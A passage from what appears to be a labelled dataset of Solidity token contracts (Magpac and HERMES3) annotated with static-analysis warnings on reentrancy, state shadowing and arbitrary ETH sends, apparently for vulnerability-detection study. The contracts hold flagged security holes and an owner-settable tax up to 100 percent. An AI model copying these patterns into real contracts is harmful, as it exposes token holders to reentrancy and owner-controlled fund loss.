"file_name": "solidity_code_10082.sol",
"size_bytes": 23605,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function nonces(address owner) external view returns (uint256);\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function factory() external view returns (address);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function burn(\n address to\n ) external returns (uint256 amount0, uint256 amount1);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function symbol() external view virtual override returns (string memory) {\n return _symbol;\n }\n\n function name() external view virtual override returns (string memory) {\n return _name;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() external view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) external virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) external virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) external virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: d586b48\n _balances[from] = fromBalance - amount;\n\n\t\t\t// reentrancy-eth | ID: d586b48\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: b0cf197\n emit Transfer(from, to, amount);\n }\n}\n\ncontract Magpac is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 4576a29): Magpac._name should be constant \n\t// Recommendation for 4576a29: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: d5be2d7): Magpac._name shadows ERC20._name\n\t// Recommendation for d5be2d7: Remove the state variable shadowing.\n string private _name = \"MAGA Meme PAC\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 448dc09): Magpac._symbol should be constant \n\t// Recommendation for 448dc09: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 752689b): Magpac._symbol shadows ERC20._symbol\n\t// Recommendation for 752689b: Remove the state variable shadowing.\n string private _symbol = \"MAGPAC\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 380faa0): Magpac._decimals should be constant \n\t// Recommendation for 380faa0: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08aa03f): Magpac._supply should be constant \n\t// Recommendation for 08aa03f: Add the 'constant' attribute to state variables that never change.\n uint256 private _supply = 47000000;\n\n uint256 public taxForMarketing = 5;\n\n uint256 public maxTxAmount = 235000 * 10 ** _decimals;\n\n uint256 public maxWalletAmount = 235000 * 10 ** _decimals;\n\n address public marketingWallet = 0x8689BC58795198F40e2d312312094b4cf967d071;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n\n address public immutable uniswapV2Pair;\n\n uint256 private _marketingReserves = 0;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 50e00b1): Magpac._numTokensSellToAddToETH should be immutable \n\t// Recommendation for 50e00b1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _numTokensSellToAddToETH = 235000 * 10 ** _decimals;\n\n bool inSwapAndLiquify;\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n\n _;\n\n inSwapAndLiquify = false;\n }\n\n constructor() ERC20(_name, _symbol) {\n _mint(msg.sender, (_supply * 10 ** _decimals));\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _isExcludedFromFee[address(uniswapV2Router)] = true;\n\n _isExcludedFromFee[msg.sender] = true;\n\n _isExcludedFromFee[marketingWallet] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b0cf197): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b0cf197: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: db72842): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for db72842: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d586b48): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d586b48: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n balanceOf(from) >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n if (\n (from == uniswapV2Pair || to == uniswapV2Pair) && !inSwapAndLiquify\n ) {\n if (from != uniswapV2Pair) {\n if ((_marketingReserves) >= _numTokensSellToAddToETH) {\n\t\t\t\t\t// reentrancy-events | ID: b0cf197\n\t\t\t\t\t// reentrancy-no-eth | ID: db72842\n\t\t\t\t\t// reentrancy-eth | ID: d586b48\n _swapTokensForEth(_numTokensSellToAddToETH);\n\n\t\t\t\t\t// reentrancy-no-eth | ID: db72842\n _marketingReserves -= _numTokensSellToAddToETH;\n\n\t\t\t\t\t// reentrancy-events | ID: b0cf197\n\t\t\t\t\t// reentrancy-eth | ID: d586b48\n bool sent = payable(marketingWallet).send(\n address(this).balance\n );\n\n require(sent, \"Failed to send ETH\");\n }\n }\n\n uint256 transferAmount;\n\n if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {\n transferAmount = amount;\n } else {\n require(\n amount <= maxTxAmount,\n \"ERC20: transfer amount exceeds the max transaction amount\"\n );\n\n if (from == uniswapV2Pair) {\n require(\n (amount + balanceOf(to)) <= maxWalletAmount,\n \"ERC20: balance amount exceeded max wallet amount limit\"\n );\n }\n\n uint256 marketingShare = ((amount * taxForMarketing) / 100);\n\n transferAmount = amount - marketingShare;\n\n\t\t\t\t// reentrancy-eth | ID: d586b48\n _marketingReserves += marketingShare;\n\n\t\t\t\t// reentrancy-events | ID: b0cf197\n\t\t\t\t// reentrancy-eth | ID: d586b48\n super._transfer(from, address(this), marketingShare);\n }\n\n\t\t\t// reentrancy-events | ID: b0cf197\n\t\t\t// reentrancy-eth | ID: d586b48\n super._transfer(from, to, transferAmount);\n } else {\n super._transfer(from, to, amount);\n }\n }\n\n function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b0cf197\n\t\t// reentrancy-no-eth | ID: db72842\n\t\t// reentrancy-eth | ID: d586b48\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n (block.timestamp + 300)\n );\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ce585f6): Magpac.changeMarketingWallet(address).newWallet lacks a zerocheck on \t marketingWallet = newWallet\n\t// Recommendation for ce585f6: Check that the address is not zero.\n function changeMarketingWallet(\n address newWallet\n ) public onlyOwner returns (bool) {\n\t\t// missing-zero-check | ID: ce585f6\n marketingWallet = newWallet;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3b0cc02): Magpac.changeTax(uint256) should emit an event for taxForMarketing = _taxForMarketing \n\t// Recommendation for 3b0cc02: Emit an event for critical parameter changes.\n function changeTax(\n uint256 _taxForMarketing\n ) public onlyOwner returns (bool) {\n require(\n _taxForMarketing <= 100,\n \"ERC20: total tax must not be greater than 100\"\n );\n\n\t\t// events-maths | ID: 3b0cc02\n taxForMarketing = _taxForMarketing;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: fc9227b): Magpac.changeMaxTxAmount(uint256) should emit an event for maxTxAmount = _maxTxAmount \n\t// Recommendation for fc9227b: Emit an event for critical parameter changes.\n function changeMaxTxAmount(\n uint256 _maxTxAmount\n ) public onlyOwner returns (bool) {\n\t\t// events-maths | ID: fc9227b\n maxTxAmount = _maxTxAmount;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 1fd3a19): Magpac.changeMaxWalletAmount(uint256) should emit an event for maxWalletAmount = _maxWalletAmount \n\t// Recommendation for 1fd3a19: Emit an event for critical parameter changes.\n function changeMaxWalletAmount(\n uint256 _maxWalletAmount\n ) public onlyOwner returns (bool) {\n\t\t// events-maths | ID: 1fd3a19\n maxWalletAmount = _maxWalletAmount;\n\n return true;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10083.sol",
"size_bytes": 18542,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract HERMES3 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7da6c4b): HERMES3._devWallet should be immutable \n\t// Recommendation for 7da6c4b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _devWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6ac1c6b): HERMES3._devPortion should be constant \n\t// Recommendation for 6ac1c6b: Add the 'constant' attribute to state variables that never change.\n uint256 _devPortion = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5837460): HERMES3._initialBuyTax should be constant \n\t// Recommendation for 5837460: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 541f7e8): HERMES3._initialSellTax should be constant \n\t// Recommendation for 541f7e8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9ed6d27): HERMES3._reduceBuyTaxAt should be constant \n\t// Recommendation for 9ed6d27: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ed17c0): HERMES3._reduceSellTaxAt should be constant \n\t// Recommendation for 2ed17c0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 632f80e): HERMES3._preventSwapBefore should be constant \n\t// Recommendation for 632f80e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Hermes 3\";\n\n string private constant _symbol = unicode\"H3\";\n\n uint256 public _maxTxAmount = (_tTotal * 10) / 1000;\n\n uint256 public _maxWalletSize = (_tTotal * 10) / 1000;\n\n\t// WARNING Optimization Issue (constable-states | ID: 041bde9): HERMES3._taxSwapThreshold should be constant \n\t// Recommendation for 041bde9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 90d6c5f): HERMES3._maxTaxSwap should be constant \n\t// Recommendation for 90d6c5f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 500) / 1000;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint256 private firstBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x34E3E831c5c76a166cd33dBE736E2D245b091b76);\n\n _devWallet = payable(0x34E3E831c5c76a166cd33dBE736E2D245b091b76);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n _isExcludedFromFee[0x34E3E831c5c76a166cd33dBE736E2D245b091b76] = true;\n\n _balances[0xA39FEB7d081E6376564711fE828e0b14a84292CA] = _tTotal / 2;\n\n emit Transfer(\n address(0),\n 0xA39FEB7d081E6376564711fE828e0b14a84292CA,\n _tTotal / 2\n );\n\n _balances[_msgSender()] = _tTotal / 2;\n\n emit Transfer(address(0), _msgSender(), _tTotal / 2);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8850c99): HERMES3.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8850c99: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bb9d704): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bb9d704: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d4032b0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d4032b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: bb9d704\n\t\t// reentrancy-benign | ID: d4032b0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: bb9d704\n\t\t// reentrancy-benign | ID: d4032b0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 22794ad): HERMES3._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 22794ad: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d4032b0\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: bb9d704\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 66488dc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 66488dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 46b5301): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 46b5301: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 66488dc\n\t\t\t\t// reentrancy-eth | ID: 46b5301\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 66488dc\n\t\t\t\t\t// reentrancy-eth | ID: 46b5301\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 46b5301\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 46b5301\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 46b5301\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 66488dc\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 46b5301\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 46b5301\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 66488dc\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 66488dc\n\t\t// reentrancy-events | ID: bb9d704\n\t\t// reentrancy-benign | ID: d4032b0\n\t\t// reentrancy-eth | ID: 46b5301\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 93ab36d): HERMES3.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls (success,None) = _taxWallet.call{value amount}() (success_scope_0,None) = _taxWallet.call{value ethForTaxWallet}()\n\t// Recommendation for 93ab36d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n if (_devPortion == 0) {\n\t\t\t// reentrancy-events | ID: 66488dc\n\t\t\t// reentrancy-events | ID: bb9d704\n\t\t\t// reentrancy-benign | ID: d4032b0\n\t\t\t// reentrancy-eth | ID: 46b5301\n\t\t\t// arbitrary-send-eth | ID: 93ab36d\n (bool success, ) = _taxWallet.call{value: amount}(\"\");\n\n success;\n } else {\n uint256 ethForDev = (amount * _devPortion) / 100;\n\n uint256 ethForTaxWallet = amount - ethForDev;\n\n\t\t\t// reentrancy-events | ID: 66488dc\n\t\t\t// reentrancy-events | ID: bb9d704\n\t\t\t// reentrancy-benign | ID: d4032b0\n\t\t\t// reentrancy-eth | ID: 46b5301\n (bool devsuccess, ) = _devWallet.call{value: ethForDev}(\"\");\n\n devsuccess;\n\n\t\t\t// reentrancy-events | ID: 